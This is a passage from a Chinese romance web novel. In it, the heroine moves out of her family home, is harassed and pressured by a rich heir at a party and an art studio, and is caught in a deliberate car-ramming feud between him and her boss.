她为了顾曦薇在沈家苦苦隐忍这么久,顾曦薇该不会以为她是贪图沈家的条件,舍不得离开吧? 哀莫大于心死,她突然什么都不想说了。 她长长地吐了一口气,冲顾曦薇笑了笑:“你说得对,我搬走以后你照顾好自己。” 她从顾曦薇房间出来,招呼都没打,直接拎了个行李箱出了门。 这次,她终于可以毫无心理负担地撇下她了。 沈韫浓买的是期房,现在还没有建完,眼下又是春节假期,房屋中介也没有开工。 她打林贞电话,准备先去她那里将就一晚。 林贞那边很热闹,一听沈韫浓要从沈家出来,欢呼了一声。 “你终于想通了!正好,我在参加party,你过来玩,一会儿一起回家。” 她说着,挂了电话,给沈韫浓发了个位置。 不是酒店,看位置在这边外环的别墅区。 沈韫浓问谁的场子,林贞发了个名字过来。 不认识。 林贞:“没事,你来了不就认识了。正好还能给你的朋友圈扩个列,以后说不定也能互相用得上。” 沈韫浓赞同她的话,直接打车去了。 戴着兔耳朵,穿着吊带袜的林贞出来接她,看见她的衣服直接笑了:“sorry,忘了告诉你是变装舞会。” 沈韫浓低头看自己:牛仔裤,黑色高领毛衣,外面是一件长款羽绒服。 的确有点朴素了。 “要不要换件衣服?我让佣人给你带来。”林贞说。 沈韫浓摇了摇头:“不用,我又没拿到邀请函,就是来接你的,这么去就行。” 林贞没有强求。 她带着沈韫浓一路进去,上二楼。 此时很晚了,已经陆续有人要走。 她们往上,有几个男女往下走。 楼梯上狭路相逢,沈韫浓下意识拉了一把林贞,给那几个人让路。 拐角处,有幅画没挂稳,直直地落下来。 一只骨节分明的手越过沈韫浓的头顶,迅速按住,将那幅画利落扶正。 “谢……”沈韫浓抬头道谢,后面的话没有说出来。 似曾相识的脸,贺韶瑭! 第六十七章 贺韶瑭:你觉得我怎么样 看见人的一瞬间,沈韫浓心脏狂跳,有种莫名其妙的心虚感。 除夕晚上那样黑,贺韶瑭应该没有看清她的脸吧。 “谢谢。”她快速说,拉着林贞迅速往上走。 贺韶瑭挑了下眉,倒是没说什么。 但好死不死,林贞似乎跟他挺熟,还要寒暄两句。 “贺少是要回去了吗?” “不回,我送个人。”贺韶瑭说,语气倒是没什么不妥。 一直到上了楼,那个身影走出了视线,沈韫浓紧绷的神经才稍稍放松了一点。 林贞看她长舒了一口气,莫名其妙地看她:“你怎么了?” 沈韫浓这才把那天的冲突说了。 林贞听得目瞪口呆:“所以,你是说,两位太子爷,为了你大打出手?” 沈韫浓:“……姐,要不,你少看两本狗血霸总小说呢?这不是为了我大打出手,是他们两个本来就不对付,楼铮就算那天牵了条狗,贺韶瑭也会看狗不顺眼的。” “姐妹,倒也不必这么贬低自己。”林贞被她逗得大笑,笑完才说:“他俩的确是死对头,你这么分析也有道理。” 她说,贺韶瑭也是个活祖宗。 贺韶瑭是楼铮表弟,两人生日只差半个月,一直不对付,从小打到大。 楼家做生意,是海市首富。 而贺家在澳城,黑白通吃。 “安苑路上有个管制区你知道吧?那就是贺家的地盘,安保人员都带这个。”林贞比了个“biu”的手势。 知道,她可太知道了,前阵子楼铮还给了她管制区私人会所的电子钥匙。 而且,她小时候在澳城是待过两年的,贺家在澳城什么地位,没人比她更清楚了。 神仙打架,小鬼遭殃。 想起除夕夜贺韶瑭鼻血直流的模样,沈韫浓还心有余悸。 “林贞,我还是先走吧。”她说。 不知道贺韶瑭有没有认出她,但总觉得不走要出事。 林贞也怕她遇到麻烦。 “行,我去打个招呼,我们一起走。”她说。 谁知,说话间贺韶瑭已经回来,他直接将两人堵在了门口。 “又见面了,沈小姐。你还是穿得不拘一格呢。” 贺韶瑭似无忌惮的打量她,已经知道了她的名字。 沈韫浓不说话。 林贞下意识换了个位置,挡在她身前。 “贺少,我朋友不认识你,多有冒犯,我替她向你道个歉。” “冒犯了吗?”贺韶瑭越过林贞去看沈韫浓。 简简单单的一件基础款黑色高领毛衣,怎么穿她身上就这么好看? 巴掌大的一张脸,素颜,一双眼睛占的面积过大,看上去楚楚可怜。 那天夜里没看清,她眼角下面居然还有颗痣,很勾人。 顶级的清冷感美人,难怪楼铮宝贝成那样。 贺韶瑭问她,沈韫浓便从林贞身后出来。 “我没有。但那天好像的确是因为我在打架。贺少不想看见我的话,我现在就回去了。” “别急着走呀。” 贺韶瑭打量她,眼神里带着坏笑,“我没说不想看见你。你进来,敬我一杯,那天的事我就不计较了。” “抱歉,我不会喝酒。” 贺韶瑭:“我可以教你。” 他大步凑到沈韫浓耳边,压低声音:“那天的事我可还没告诉老太太,把我哄好了,我就当不知道。” 沈韫浓抿唇。 楼铮已经答应了放过她,这件事本可以当没发生过。 如果让楼家那位老太太知道,老太太想对付她,楼铮也没办法。 她不得已跟着贺韶瑭进去,低眉顺眼,只求喝完酒走人。 林贞后悔叫她来,表情也有点丧。 三人进去,都以为沈韫浓是贺韶瑭带来的,有人“哟”了一声。 都给贺韶瑭面子,马上一圈人围了上来。 “贺少的女朋友吗?好漂亮!你叫什么名字?” “感觉好眼熟啊!是不是在哪里见过?” 贺韶瑭也不辩解,只挥手赶人:“去去去,别把人家吓到了。” 众人散开,依然有人调侃:“贺少这么怜香惜玉,难得啊!” 沈韫浓沉默,拿过桌上的一瓶酒:“我喝这个行吗?” 贺韶瑭又抬了抬眉:“可以。” 跟楼铮生人勿进的冷漠不同,贺韶瑭看上去反而像个好说话的。 如果说楼铮是纨绔子弟,那贺韶瑭就是斯文败类,温文尔雅的外表下一肚子坏水。 沈韫浓点点头,给自己倒了一杯。 “多有得罪,贺少,我自罚一杯。”她把酒一饮而尽。 脸迅速红了起来。 贺韶瑭皱了皱眉:“酒精不耐受?” 沈韫浓“嗯”了一声,问他,“贺少,请问我可以走了吗?” “急什么,来都来了,这么急着走。还是沈小姐清高,瞧不上我们这群人?” 沈韫浓想把手里的酒杯砸在贺韶瑭头上,嘴好欠一男的。 贺韶瑭拍了拍身边的位置:“坐下待会儿。” 沈韫浓硬着头皮坐过去,身子往旁边躲,跟贺韶瑭隔出楚河汉界。 “吃不了你。”贺韶瑭低笑,把手搭在她身后的沙发上。 “你不是沈英耀亲生的?小时候在澳城?” 这不是什么隐私,全海市的上流圈都知道的事,不难打听。 “嗯,住过两年。”沈韫浓身子都快歪到林贞身上去了。 “你长得倒是不俗,比你的哥哥姐姐强多了。” 这话沈韫浓没法接,她只想逃。 “你觉得我怎么样?”贺韶瑭凑近,眼看着沈韫浓发际线上细碎的绒毛都炸了起来。 不怎么样。 “挺……帅的。” 除了帅,沈韫浓暂时还没发现他任何优点。 但这话贺韶瑭很受用。 “那我跟楼铮比呢?” 好好的怎么雄竞上了?这是一道送命题。 沈韫浓头皮麻得都快炸开了。 第六十八章 你说楼铮丑八怪 沈韫浓实在不想回答这个问题,主要是她没有那种两边都讨好的高情商。 但显然贺韶瑭并不准备放过她。 他问完,便用金丝眼镜后一双桃花眼盯着她看,那意思,这个答案她要是不给,就别想走。 沈韫浓:“……各有千秋。” 贺韶瑭低笑:“沈小姐,楼铮又不在这儿,不用这么谨慎。” 他循循善诱,她越躲,他越要凑近。 “想走啊?那你说一句楼铮丑八怪,就可以走了,怎么样?” 沈韫浓:???已经幼稚成这样了? 沈韫浓抿紧嘴唇,心里暗自下定决心,晚上一定要再去复习一遍那本儿童心理学。 贺韶瑭不依不饶:“我不告诉楼铮,你哄哄我不行?” 他这个语气是在……撒娇? 这个认知,让沈韫浓汗毛都竖了起来。 她平时最识时务,说一句倒也没什么,反正楼铮又不会真的变丑八怪。 可第六感告诉她,这里有坑,不能跳。 “别这样,贺少。” 贺韶瑭凑得太近了,他身上带一点酒气,混杂着一点女用香水味儿,直直地撞入沈韫浓的鼻腔。 沈韫浓大气都不敢喘。 奈何贺韶瑭似乎非常喜欢看她吃瘪的样子,她越躲,他越往那边靠,不给她一点空间。 沈韫浓的忍耐力已经到了极点,她索性站起来,跟贺韶瑭杠上了。 “贺少,我不会说的。” “你这么喜欢他呢?”贺韶瑭看她急了,眼里的兴味更浓,他把身子往后靠,抬着眼看她。 非常直接的,狩猎者的眼神。 我看喜欢他的是你吧?! 沈韫浓反感被人这样审视,但她目光一寸不让,站在贺韶瑭身前,也盯着他的眼睛:“贺少,我不知道你跟楼总有什么恩怨,但楼总是我老板,我不会说老板坏话。而且,楼总不会因为我说他一句坏话就变丑,而你背后说人,显得很没品。” 她声音不是很大,但现场眼睛盯在贺韶瑭身上的人太多,都早就发现这边起了冲突,安静了不少。 因此,她的话清清楚楚传到了每个人的耳朵里。 一时间周围针落可闻,几乎所有人都屏住呼吸,竖起了耳朵。 这是谁,连贺韶瑭都敢得罪? 林贞显然也被吓了一跳,她站起身,想打圆场。却发现贺韶瑭笑得胸腔都在震。 他倒是没看出多生气,抬手要摸沈韫浓的脸,沈韫浓往后一躲,他摸了空。 手却还维持着五指张开的姿势,停留了几秒。 “合着不是个乖乖女啊,我当楼铮怎么换了口味。”他还在笑。 这里面还有楼小爷的事? 周围更安静了。 却听贺韶瑭放在茶几上的手机里传来低沉的男声:“贺韶瑭,有能耐过来找我,为难我助理算什么本事?” 是楼铮的声音。 眼前的美女居然是楼小爷助理?一时间吃瓜的人更亢奋了。 众人屏住呼吸,交换眼色,个个眼冒精光。 但沈韫浓莫名安心不少。 贺韶瑭没错过她瞬间放松的神情,嗤笑一声,话却是对着手机里的人说的:“我还就为难她了,你不是去美国出差了,有能耐现在回来打我啊。” 他语气的确欠打。 楼铮那边什么都没说,直接挂了。 贺韶瑭两手搭在身边的沙发靠背上,交叠着一双长腿,好整以暇地看着沈韫浓,一脸的戏谑:“楼铮鞭长莫及,顾不上你咯。” 他眼里的调侃多过怒气,比起为难她,更像是要逗她,仿佛她是什么小猫小狗。 但沈韫浓知道,贺韶瑭不松口,她是走不了的。 好汉不吃眼前亏,沈韫浓已经准备说两句软话了。 这时,房间门被推开,是周彦带了两个公子哥儿走进来。 众人都跟他们打招呼,他们却径直往贺韶瑭身边一坐。 热络地搭上了他的肩。 “贺少来海市也不说一声,早知道我怎么也得招待你一下啊。”周彦说。 “对啊贺少,我家新开了一个名马会所,什么时候赏脸来玩玩?”其中一个公子哥儿附和。 “一会儿去第二场不?我带你们去个好地方!”另一个也说。 三人围住贺韶瑭,周彦趁乱给沈韫浓使眼色,痕迹重得傻子都知道给她救场来了。 贺韶瑭被三个男人缠得无法脱身,脸都拉了下来。 沈韫浓赶紧给了周彦一个感谢的眼神,和林贞走了。 场子又热闹了起来,一时间,沈韫浓成了话题的中心。 这个女人什么来头,竟然被贺韶瑭和楼铮同时看上?还有周彦救场? 沈韫浓和林贞出门后简直是一路狂奔,像后面有人追杀一样,直到上了车才放松下来。 林贞的司机发动车子。 “今天一过,你算是彻底出名了。”林贞喘口气才说,“别人都会传你是被贺韶瑭和楼铮抢的女人。” 沈韫浓心里已经把贺韶瑭族谱都骂完了。 她今天刚跟顾曦薇吵完,已经够糟心了,遇上贺韶瑭简直是无妄之灾。 但她不好抱怨,毕竟林贞要她过来也是好意,她抱怨,只能加重林贞的心理负担。 她调整好心情,对林贞笑:“也不见得是坏事,起码让我更加坚信,楼铮不是我惹得起的人。” 说话间,沈韫浓的手机响了。 是楼铮发来的视频邀请。 七天没见,两人看着屏幕里的彼此,都沉默了一瞬。 楼铮那边是白天,光线明亮,他实在上镜,一张脸在视频里精致的不像真人。 “我没事,已经安全出来了。”沈韫浓先开口。 楼铮“嗯”了一声。 看着沈韫浓又尖了一些的下巴,知道她这几天过得不好,想问两句,又觉得她不一定会说,忍了。 “等我回去收拾他。”他说。 本想让周彦直接带人打进去的,可周彦圆滑,不想伤和气。 这个解决办法在楼铮看来太软了,根本起不到任何震慑作用。 但人救出来了,也不好苛责他。 “不用。”沈韫浓忙说,“贺少也没有太为难我。” 别把小事闹大了。 冷处理,贺韶瑭从气头上过去,也就没事了。 但是揪住不放,倒霉的是她。 楼铮未置可否。 两人又沉默了一会儿。 “我从沈家搬出来了,你别去沈家找我了。”沈韫浓说。 楼铮点头,说了个地址。 “我把密码给你,你可以过去住。” 沈韫浓摇头,迅速拒绝。 她住楼铮的房子,那就八百张嘴也解释不清了。 她撒谎:“我找好房子了,今晚就搬过去。” 楼铮没有再说什么。 两人聊天磕磕绊绊,隔一会儿一句,非常不连贯。 楼铮说他三天后回来,沈韫浓祝他出差顺利。 尬聊了一会儿,终于挂断。 林贞这才在一旁笑出声来:“我算是发现了,你们两个估计也就在床上有共同语言,平时还真没话说。” 第六十九章 锄头抡冒烟 沈韫浓直接捂住林贞的嘴。 “低声些,难道光彩吗?”她眉头紧皱的模样,惹得林贞爆笑。 林贞笑够了,才把她的手从自己嘴上拉下来,把脸放上她掌心。 她在刚才的聚会上喝了不少,带了三分醉意,靠着她的掌心,歪头眨着眼看她:“诶,不过说真的,楼铮好像是真的喜欢你。你就没想过跟楼铮谈?” 沈韫浓用另一只手替她把碎发别在耳后:“没有。我不当小三。” 林贞干脆半个身子都靠在她身上。 “他和陈知意那个婚约,指不定怎么回事呢,那天,我哥还看见陈知意和一个男的从夜店勾肩搭背出来。 我哥说,她和那男的跟楼铮走了个对面,楼铮眼皮子都没抬。 真喜欢能这样?想想你和楼七约会的时候楼铮都快把那条街烧了。” ……倒也没有那么夸张。 沈韫浓不为所动:“可有婚约就是有婚约,我不搞‘不被爱的才是小三’那一套。” 林贞惊得直接坐直了:“姐妹,你道德感强得让我害怕!” 沈韫浓被她惊慌的表情逗笑,捏了一把她的脸。 “这跟道德感有什么关系,我是怕打不到狐狸惹一身骚。要是有个先知过来告诉我,我挖陈知意墙角,只要努力就一定成功,你信不信,我锄头都能抡冒烟?” 她不动这个心思,是因为知道难度太大。 她连摆脱沈家都拼尽全力了,拿什么跟陈家和楼家斗? “吓死我了,还以为你被哪个圣母玛利亚夺舍了。”林贞浮夸地拍了拍她的34D大胸,“你分析的有道理,还是把狐狸还给陈知意吧!” 两人这么一说一闹,遇到贺韶瑭的不快也被抛到了脑后。 回到林贞住处,林贞外卖叫了烧烤。 她喝啤酒,给沈韫浓开了瓶气泡水。 “来,恭喜我们的池韫浓大小姐终于逃出火坑,以后前路灿灿!”她举杯。 林贞是第一个,也是唯一一个会在私下叫她池韫浓的人。 沈韫浓笑得眉眼弯弯:“只能说万里长征第一步吧。” 但走出这一步她已经很满意了。 唯一的遗憾,是没能把顾曦薇从火坑里带出来。 也许是她眉目间有一闪而过的忧郁,林贞看懂了。 “每个人都有自己的人生剧本,有些坑必须自己踩过才知道,你已经做得很好了。”林贞安慰她。 沈韫浓拿着一串羊腰崇拜地看她:“最近是去上什么灵修课程了吗?怎么说话这么有道理?听得人怪想哭的。” 林贞马上张开双臂:“来,埋在姐姐的胸口哭。” 沈韫浓:“别,你太有料了,我怕被闷窒息!” 两人又是一通玩笑,心情都放松了不少。 当晚,她和林贞睡一个房间。 沈韫浓从小到大只有这一个朋友,两个人有说不完的话,拥着被子差点聊通宵。 以至于第二天上班都打不起精神,喝了两大杯咖啡才撑住。 林贞想留沈韫浓长住,但沈韫浓拒绝了。 她好不容易从沈家出来,就一辈子不会再回去,总住在林贞那里也不是办法。 复工后,沈韫浓用了三天时间找房子,很快定了下来。 她找了一个相对比较好的小区,步行到楼氏只有5分钟距离。 巧的是,合租室友还是个熟人,跟着陈知意学画画的一个小姑娘,叫田欣,一个高三的艺术生。 沈韫浓也是被房东带过去才发现是她。 田欣也很高兴,拉着沈韫浓不松手,要她一定要留下跟自己一起住。 “每天看美女姐姐心情好,说不定我高考能多考几分!”她说。 沈韫浓也觉得缘分挺奇妙,就爽快定了下来。 沈韫浓东西不多,定下来就搬了进去,田欣住主卧,她住次卧。 卧室里有属于自己的书桌和衣柜。 条件比沈家简陋得多,但一想到以后洗澡的时候再也不用防贼一样,她就高兴。 这几天没回去,沈英耀打了几十个电话,她一个都没接。 到后来,直接拉进了黑名单里。 好在他最近忙得脚不沾地,不会亲自跑来抓她。 顾曦薇倒是微信转了笔钱过来。 5000块。 还发了一段替沈英耀辩解的文字,很长,想必耗尽了她毕生的脑细胞。 沈韫浓没收钱,也没回复。 日子如常过着,听苏磊说沈英耀的盘越铺越大,已经开始从他手里高价拿货了。 炉窑设备小型的也值个几百万,这一套组合拳下来要是客户跑单,真能要沈英耀半条老命。 沈韫浓不动声色,坐等炸雷的那天。 与此同时,楼铮也出差回来了。 沈韫浓也看出了他的尴尬,可说不收就不能收,前几天还说着只当是朋友,她转头收个几十万的包,像什么样子? “楼总,好意心领了,东西就算了。”沈韫浓尽可能委婉,“我不懂这些,也不喜欢,楼总不如拿去给陈小姐。” 她话里有话,时刻提醒陈知意的存在。 楼铮的眉顿时皱了起来。 “沈韫浓,你是不是觉得,不收我送的东西,就能跟我彻底撇清关系了?”他的语气很冷,听得人汗毛都要竖起来。 沈韫浓不为所动:“你答应我的,楼总,该不会要食言吧?” 她的眼神没有躲闪,两人凝视着彼此,眸子里风起云涌。 过了好一会儿,楼铮先败下阵来。 “出去吧。”他淡声说。 沈韫浓离开,听到了那只包砸在门上的声音。 她深吸了口气,把心里那点异样强压了下去。 后面沈韫浓也不知道他有没有找贺韶瑭麻烦,但有一点她挺满意,楼铮说到做到,真的对她规矩了很多。 两人心照不宣,都在有意无意的在互相保持距离,连带着她的工作量都小了。 沈韫浓很满意。 周末,她又去了陈知意的画室做兼职。 陈知意应该在二楼忙,她到的有些早,就在一楼坐着等了一会儿。 有人进来时,沈韫浓正用手机回复林贞的消息,没有回头。 一双手蒙住了她的眼。 第七十章 是我想的那样吗 冰凉的触感,激得沈韫浓的背都绷直了。 她鼻子灵,嗅到了陌生又熟悉的气息。 在记忆里迅速搜索,是那天贺韶瑭身上的女用香水味。 楼铮和贺韶瑭这对表兄弟挺有意思,一个喜欢戴女款耳钉,一个用女士香水。 可看上去谁都不女气,都带着满满的攻击性。 沈韫浓屏住呼吸。 “贺少,放开。”她故作镇静地说。 对方轻笑了一下,果然松手。 他扯了把椅子,骑着坐上去,把下巴搭在椅背上看她:“你怎么知道是我?” 一身白西装,眼镜腿上挂着珍珠装饰链的贺韶瑭,更加坐实了“斯文败类”四个字。 沈韫浓面无表情:“因为贺少是我认识的唯一一个用CoCo小姐香水的男士。” 贺韶瑭挑了挑眉:“哟,连我的香水都记住了,不会是暗恋我吧?” 沈韫浓:“绝对不敢。” “别呀,说真的,你跟楼铮不如跟我。他有婚约,只能跟你玩玩。我就不一样了。” 贺韶瑭眨了眨眼,“跟我,起码能光明正大谈恋爱。” 要不是跟贺韶瑭不熟,沈韫浓真想直接把他嘴捂了。 在陈知意的地盘说这话,贺韶瑭是怕她死得不够快?! 沈韫浓猛地站起身往楼上走。 “我要上课了,贺少请便。” 沈韫浓上楼时,陈知意正把一幅画装到大手提袋里。 一见她就笑道:“来啦,今天正好介绍个朋友给你认识,你要是跟他成了,全海市的女人都要得红眼病!” 沈韫浓的心猛的一提。 她有不好的预感,很强烈。 果然,随着一阵脚步声,贺韶瑭走了上来。 “说曹操,曹操到。”陈知意笑,顺手把那副装起来的画递给了贺韶瑭。 “裱好了,贺少看看。” 贺韶瑭随意地看了一下,点点头。 “钱我让底下的人转给你。” 陈知意说不急,把沈韫浓拉了过来。 “给你介绍一下,我的模特,沈韫浓小姐,怎么样,担得起海市最美画模名号吧?” 沈韫浓心情有点烦躁。 她还没开口,只听贺韶瑭笑:“认识,这不是楼铮的……” 他故意停顿了一下,眼底闪过一抹坏笑。 沈韫浓知道他故意吓她,不得不用眼神向他求饶。 她今天穿了件桃粉色的针织裙,外面是一件雪白的大衣,大衣样子有点复古,领子上是一圈环保皮草。 毛领子围着尖下巴,衬得她像一只布偶猫,眼神更是可怜巴巴的。 贺韶瑭看得心念一动,想伸手捏她的下巴,硬是没动。 “楼铮的……助理,对吧?” 他故意拉长音调。 沈韫浓假装没听出她话里有话,也做出第一次见面的样子跟贺韶瑭打了招呼。 “正好我下去跟学生家长谈点事,你们聊。”陈知意说。 又对沈韫浓眨眼,“我们贺少单身哦。” 教室里又只剩下了贺韶瑭和沈韫浓。 “你胆子挺大,居然敢舞到正主面前。”贺韶瑭说。 见沈韫浓不说话,又逗她,“不怕我告诉她吗?” 沈韫浓不得不正面回应这件事。 “贺少,不管你信不信,我现在和楼总只是上司和下属的关系。所以,你针对我没用的,并不能会对楼总有任何影响。” 她露出求饶眼神:“贺少,之前多有得罪,你别跟我一般见识,放我一马,行不?” “现在只是上司和下属的关系。.” 贺韶瑭咂摸着这句话,步步逼近。 两人的鞋尖都要抵在了一起,“那之前不是,对吧?” 这个问题太敏感,沈韫浓闭嘴,拒绝回答。 见她不说话,贺韶瑭终于做了自己想做的事,伸手勾了她的下巴。 他抬着她下巴逼她回视自己。 “说话啊,是我想的那样吧,嗯?” 非常不尊重的举动。 “你想太多了。”沈韫浓皱眉,要伸手打掉那只手。 这时,陈知意和她的学生们来了。 贺韶瑭在门被推开的前一刻若无其事地松手,坐在了一旁的摇椅上。 开始上课。 沈韫浓坐在学生们中间。 这帮学生嘴甜,照例夸赞了一通沈韫浓的美貌和衣品,围着她纷纷找好角度。 特别是田欣,特地大声道:“美女姐姐现在是我的室友哦!” 众人“哇”了一声。 “我也想跟姐姐做室友!”一个男学生道。 另一个直接给他一个肘击:“呸,还想跟美女姐姐做室友,你真是癞蛤蟆装青蛙,长得丑玩的花。” 他的俏皮话引得众人大笑,沈韫浓也终于放松下来。 贺韶瑭拿了画也不走,坐在外围看。 陈知意小声说:“怎么样?” 说着,故意瞟一眼沈韫浓的位置。 贺韶瑭:“什么怎么样?” “装傻。”陈知意睨他,“我给你介绍的小白兔呗。真吃到了别忘谢谢我。” 贺韶瑭没作声,眼睛穿过几个学生的背影望进去。 桃粉色的沈韫浓,两腮也粉粉的,微微垂着眼,那颗痣像一颗将落未落的眼泪。 “有点意思。”他用食指推了一下自己的眼镜框,眼睛又不自觉看过去。 沈韫浓不知道在想什么,抿了一下唇。 她不是时下流行的嘟嘟唇,唇形偏薄,颜色也浅,形状却很好看,嘴角有一个勾起的弧度,看上去很乖。 贺韶瑭出神,随即想起除夕夜时她和楼铮那个吻。 他烦躁得厉害。 凭什么好东西都是楼铮的?他差哪儿了? “不过别怪我没把话说前面。” 陈知意又刻意小声道,“她看着老实,其实一心想着攀高枝,骨子里是个捞女,要不是楼凤栖出事,说不定已经爬上楼凤栖的床了。你玩玩也就算了,别被缠上脱不了身。” 这话听得人膈应。 贺韶瑭终于分神看她:“我看你就是嫉妒人家漂亮。都是女人,造别人黄谣不好吧?” 他的神色看不出玩笑还是认真,陈知意怔了一下,才故作松弛,给了他肩窝一拳:“好心当成驴肝肺,别哪天被坏女人骗了,怪我没提醒你。” 贺韶瑭:“能骗到我,也是她本事。我还没吃过坏女人的苦,求之不得。” 陈知意顿时露出恶寒表情。 “贺韶瑭,你脑子有病吧。” 课程结束,沈韫浓起身活动了一下筋骨。 “姐姐,一起回家啊!”田欣过来找她。 沈韫浓正要答应,陈知意拉了田欣:“去去去,别耽误你美女姐姐约会!” 又看沈韫浓:“贺少等你呢。” 沈韫浓:??? 她简直对陈知意无语到了极点。 也是这时候才发现贺韶瑭居然还没走。 贺韶瑭转了转自己的车钥匙:“给个面子,让我送送你?” 沈韫浓直觉她要是不让贺韶瑭送,他一定出幺蛾子。 “那麻烦贺少了。” 坐在贺韶瑭的红色法拉利里,沈韫浓不敢报小区地址,说了隔壁小区的名字。 第七十一章 撞车 一路上,沈韫浓始终紧绷着一根弦。 她悄悄跟林贞吐槽说这件事。 林贞发了一串问号。 “陈知意是疯了吗?” 偏偏贺韶瑭还要跟她说话。 “你很怕我?” 废话,除了楼铮,谁不怕你? “说真的,跟楼铮偷偷摸摸有什么意思,不如跟我在一起,我会告诉全世界,你是我女朋友。” 这是什么好事吗? 贺韶瑭玩得起,她可玩不起。 沈韫浓不作声。 贺韶瑭本来就在超速行驶,又一直言语挑逗,沈韫浓坐在副驾像受刑一样,生怕他一个不满,带着她开到路边的绿化带里去。 谁来救救她啊。 看来顾曦薇说的那个大师是有点准的,确实开年就犯太岁,遇上了这个瘟神。 她不说话,贺韶瑭更加不满。 车子停到一个红绿灯路口时,贺韶瑭猛地凑了过来。 “问你话呢,哑巴了?” 他果然不满。 “我不想做谁的女朋友,求你大发慈悲放了我,行不行?” “跟楼铮行,跟我不行?” 沈韫浓想说不一样,毕竟他们是阴差阳错,并不是他以为的那种“偷情”。 可她直觉贺韶瑭并不在乎她的答案,只说:“不是你想的那样,我也没跟过楼铮。” 她一忍再忍,只求快点下车。 手已经放在了开锁键上,随时做好跳车准备。 她早发现了,贺韶瑭骨子里也是个疯批,惹不起躲得起。 谁知贺韶瑭一点退路都不给她留,扫一眼她的动作,低笑:“想跳车啊,锁死了。” 沈韫浓:¥%……@# 她在心里把全世界最脏的话骂了一遍。 突然,一辆蓝色布加迪从不远处轰鸣而来,咬着法拉利不放。 贺韶瑭快,对方就更快,他慢,对方也跟着慢下来。 布加迪一路压着法拉利开,跟了他两条街。 “你猜谁的车?”贺韶瑭故意问沈韫浓。 对方的车压迫感那么足,他偏偏看上去没有一点害怕,眼里甚至有兴奋的光。 “不知道。” 沈韫浓没见过这辆车,可直觉上是楼铮的。嘴上说着不知道,手已经攥死了安全带。 她怕楼铮撞上来。 “不知道?”贺韶瑭讥诮地笑了一声,猛轰了一脚油门。 法拉利率先加速,把布加迪甩开。布加迪更是发出一声刺耳的轰鸣,猛追上来。 再后来,布加迪又到了法拉利前面。 他是故意的,要的就是贺韶瑭害怕,给他满满的压迫感。 可贺韶瑭不怕,怕的是沈韫浓。 下一个路口车少。 贺韶瑭勾唇冷笑。 “坐稳了!”他说。 沈韫浓还没反应过来,只见贺韶瑭直接一个猛力,对着布加迪撞了上去。 电光石火之间,砰地一声,巨大的冲击力,让坐在副驾的沈韫浓都猛地随着车身晃了一下。 贺韶瑭不仅没踩刹车,还顶着布加迪往前开,一直顶出去好几米。 两辆车都发出巨大的轰鸣声,周围的交通乱成一团,喇叭声,刹车声不断。还有人吓得尖叫。 沈韫浓迅速看驾驶位的贺韶瑭,发现他抿着唇,神色狠厉,哪里半点有人前斯文儒雅的模样? 贺韶瑭加速,楼铮也不甘示弱,开了倒挡猛踩油门,把他的车往后顶。 两人互不相让,仅有的分寸就是没有把车顶降下来—— 要是被拍到脸,楼老太太的孙子和外孙在大马路上开碰碰车,一定能上热搜。 胡思乱想间,贺韶瑭突然也开始往后倒。 看来贺韶瑭还是有点分寸的。沈韫浓暗想。 谁知,他倒退后又向前,猛轰了一脚油门。。 原来,后退是为了继续撞得更狠。 悬着的心彻底死了。 “妈的,今天不撞飞你,我不姓贺!”贺韶瑭发了狠,对着布加迪的屁股猛轰。 “贺少,冷静!” 这时,沈韫浓什么都顾不上了,她去拉贺韶瑭的手。 沈韫浓眼泪已经落下来了,她不想死。 她的人生还有许多想做的事没做,还没亲眼看着沈家垮台,她不能死。 最重要的是,死了还算干净。要是死不了,说不定这件事会一股脑怪到她头上,楼铮和贺韶瑭不会怎么样,倒霉的是她。 她实在犯不上成为两位太子爷斗气的牺牲品。 她紧张极了,一手的汗,就这么攥住了贺韶瑭的手背。 手背上滑腻的触感,让贺韶瑭愣了一下。 他勾唇,降下了车速,还有心思跟她谈条件:“让我不为难他也行,你把微信给我。” “好好好,给你给你。”沈韫浓不假思索。 很快,法拉利先妥协,直接后退,打着双闪停到了路边。 沈韫浓心有余悸。 她的头发早在刚才巨大的冲击中散乱下来,指甲掐进手心的肉里,好一会儿,才把一口气喘匀。 贺韶瑭却跟什么都没发生似的,懒懒的靠在座椅上,掏出手机,调出微信二维码,等她扫。 沈韫浓扫完,开门下身,才注意到那辆布加迪也已经在前面停好。 两辆车都撞得惨不忍睹,好在刚才已经有人把这段路封了,不然现在就算路过一条狗,都得掏出手机拍个视频。 沈韫浓朝着前车走去,腿都是软的。 她拉开布加迪的车门,楼铮正靠着椅背抽烟。 没有想象中的怒火冲天,神色很淡,只有眼神里透着一点不豫。 没想到贺韶瑭发疯,会直接撞楼铮的车。 但毕竟她刚才在贺韶瑭车上。 沈韫浓在副驾乖乖坐好,主动跟楼铮解释发生的事。 她有钓楼凤栖的“前科”,希望楼铮不要误会,觉得她不自量力盯上了贺韶瑭才好。 “我今天去画室,贺少也在,上他的车是被逼无奈。我一直在跟贺少保持距离,没有任何歪心思。” 说完,她垂眼,等楼铮迁怒。 而这时,后面那辆法拉利又启动了起来,路过时,贺韶瑭吹了一个响亮的口哨。。 法拉利扬长而去。 楼铮静静地盯着他的车尾看,烟雾缭绕中,一双眼冷得能杀人。 楼铮一根烟抽完,才缓缓发动车子。 不知道他要去哪里,她说的那番话也不知道他听进去没有,沈韫浓也不敢问。 一路上两人一句话都没说,直到车开进一个医院。 停好后,楼铮下车,绕到副驾,弯身把沈韫浓抱起。 沈韫浓猝不及防,伸手抓住他的手臂,才不至于摔下去。 “我,我没事,我自己走。”她小幅度挣扎了一下。 楼铮一个冷冷的眼风扫过来,沈韫浓只好闭嘴。 第七十二章 我好中意你 莫名其妙,沈韫浓被安排了全套检查。 脑CT,胸片,各处关节的X光,心电图,彩超……等一系列做下来,已经是晚上九点多。 沈韫浓肚子饿的咕咕叫,已经完全丧失了个人意志,任凭一群医护人员围着她摆弄,之后得出一个结论—— “小爷,沈小姐没有受伤。” 沈韫浓:“……” 怕她受伤,跟贺韶瑭飙车的时候,怎么没想过她?害她差点以为自己小命都要交代在那儿了。 不过好像也不能怪他,毕竟全程都是贺韶瑭在挑衅,楼铮没想撞上来。 “我就是当时被吓到了,真没什么事,我们回去吧。”她小心翼翼地看着楼铮的脸色。 楼铮不理她,直到又过了一会儿,走进来一个自称心理咨询师的人,要给她做灾难后的心理重建。 沈韫浓揉了揉眉心,觉得眼前的一切简直像一场闹剧。 “我真的没有被吓到。”她跟楼铮说,语气里带了点恳求,“别折腾了,我饿到快低血糖了,我们去吃饭好不好。” 